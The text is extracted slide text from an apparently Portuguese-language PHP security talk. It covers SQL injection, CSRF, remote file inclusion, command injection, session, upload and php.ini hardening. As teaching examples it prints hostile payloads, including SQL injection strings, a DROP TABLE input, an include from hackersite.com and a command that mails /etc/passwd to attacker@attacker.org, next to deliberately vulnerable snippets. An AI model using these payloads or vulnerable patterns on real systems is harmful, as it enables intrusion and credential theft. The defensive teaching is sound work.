  • 32. SQL Injection ● Permite manipulação de consultas SQL ○ passar por controles de acesso e autenticação. ○ expor dados escondidos. ○ sobrescrita de dados. ○ exclusão de dados. ○ execução de comandos no S.O.
  • 33. SQL Injection $sql = "SELECT * FROM users WHERE name ='$nome'";
  • 34. SQL Injection ' or '1'='1 SELECT * FROM users WHERE name ='' OR '1'='1'; ' or '1'='1' -- SELECT * FROM users WHERE name ='' OR '1'='1' --';
  • 35. SQL Injection a';DROP TABLE users; -- SELECT * FROM users WHERE name ='a';DROP TABLE users; --';
  • 36. SQL Injection - Protegendo-se <?php $stmt = $dbh->prepare("SELECT * FROM users WHERE name = :name"); $stmt->bindParam(':name', $txtName); $stmt->execute(); ● Suporte: ○ mysqli ○ PDO
  • 37. SQL Injection - Protegendo-se <?php $name = mysql_real_escape_string($name); $sql = "SELECT * FROM users WHERE name ='$name'"; ● Usar no caso de extensão padrão do Mysql para PHP
  • 39. CSRF - Definição Site malicioso dispara uma requisição/ação não desejada para um outro site no qual o usuário esteja logado.
  • 40. CSRF - Exemplos de ações ● Alterar a senha do usuário no site ● Realizar transferências bancárias ● Submissão de formulários
  • 41. CSRF - Principais focos ● Webmail ● Redes sociais ● Bancos ● Sistemas de pagamento online
  • 42. CSRF - Exemplos de Prevênção ● Captcha ● Verificar o Header "Referer" ● Token Sincronizado
  • 43. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32));
  • 44. CSRF - Token <?php $randomtoken = base64_encode(openssl_random_pseudo_bytes(32)); $_SESSION['csrfToken'] = $randomtoken;
  • 45. CSRF - Token <form> ... <input type=’hidden’ name=’csrfToken’ value=’<?php echo($_SESSION['csrfTOken']) ?>’ /> ... </form>
  • 46. CSRF ● O Token CSRF é único por sessão. ● Utilize o token em todos formulários considerados “críticos”.
  • 48. Remote code injection ● Permite o atacante injetar códigos externos no fluxo de execução do script php. ● Explora: ○ include ○ require
  • 49. Remote code injection <?php include($_GET["page"]); ?>
  • 50. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/dir-escondido/senhas. txt
  • 51. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=/upload-dir/arquivo.php
  • 52. Remote code injection <?php include($_GET["page"]); ?> www.website.com/carrega.php?page=http://hackersite.com/file.inc
  • 53. Remote code injection - Proteção <?php $whitelist = array('home', 'about'); if (in_array($_GET['page'], $whitelist)) { include($_GET['page'].'.php'); } else { include('home.php'); }
  • 55. Command Injection ● Permite o atacante injetar códigos shell maliciosos. ● Normalmente quando você usa o input do usuário para criar um comando shell.
  • 56. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?>
  • 57. Command Injection <?php echo shell_exec('cat '.$_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;ls
  • 58. Command Injection <?php echo shell_exec('cat '. $_GET['filename']); ?> www.website.com/viewfile.php?filename=file.txt;mail attacker@attacker.org </etc/passwd
  • 59. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename']));
  • 60. Command Injection - Proteção <?php echo shell_exec('cat '. escapeshellarg($_GET['filename'])); OR echo shell_exec(escapeshellcmd('cat '. $_GET['filename']));
  • 62. Segurança de Sessão ● Flag httponly, php.ini: session.cookie_httponly = 1 Marca o cookie de sessão do PHP com httponly. Isso faz com que o novageador não exponha o valor deste cookie via javascript.
  • 63. Segurança de Sessão ● Flag use_only_cookies, php.ini: session.use_only_cookies = 1 Desabilita a possiblidade de setar o ID da sesssão via GET.
  • 64. Segurança de Sessão ● Flag cookie_secure, php.ini: session.cookie_secure = 1 Assegura que o cookie de sessão seja transmitido apenas por conexão segura.
  • 65. Session hijacking <?php session_start(); if (isset($_SESSION['HTTP_USER_AGENT'])) { if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { /* Prompt for password */ exit; } } else { $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); }
  • 67. Upload de arquivos - Dicas Armazene os arquivos enviados fora do diretório raiz do app web.
  • 68. Upload de arquivos - Dicas Não confie cegamente no Content-Type, para definir que um arquivo seja realmente uma imagem.
  • 69. Upload de arquivos - Dicas <?php $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') { echo "Desculpe, são aceitos somente imagens GIF e JPEGn"; exit; }
  • 70. Upload de arquivos - Dicas Não armazene os arquivos usando o nome original configurado no formulário. Gere um nome randômico ao salvar.
  • 72. hash e senhas Sempre usar hash para armazenar senhas em banco de dados.
  • 73. hash e senhas md5(), sha1() ?
  • 74. hash e senhas password_hash(), crypt() ?
  • 75. password_hash() ● >= PHP 5.5 ● Utiliza o algoritimo BCrypt ● Compatível com a função crypt()
  • 76. password_hash() <?php // geração do hash $hash = password_hash($senha, PASSWORD_DEFAULT); // verificando se o hash corresponde if (password_verify($password, $hash)) { // Sucesso! } else { // Credenciais Inválidas }
  • 77. password_hash() ● utilizar capacidade de 255 caracteres ● salt e cost são gerados pela API
  • 80. php.ini ● expose_php = off HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Content-type: text/html; charset=UTF-8
  • 82. php.ini ● display_errors = off log_errors=On error_log=/var/log/apache/php_error.log
  • 84. php.ini ● allow_url_fopen = off previne remote code injections (include/require/file_get_contents)
  • 85. php.ini ● max_execution_time = 30 ● memory_limit = 40M
  • 86. php.ini ● max_execution_time = 30 ● memory_limit = 40M Evita ataques DOS
  • 87. php.ini ● disable_functions = exec,passthru, shell_exec,system,proc_open,popen, curl_exec,curl_multi_exec,parse_ini_file, show_source
  • 89. php.ini ● open_basedir="/var/www/" restringe o diretório onde o php pode manipular arquivos
  • 90. Perguntas ? douglas.pasqua@gmail.com http://www.douglaspasqua.com twitter: @dpasqua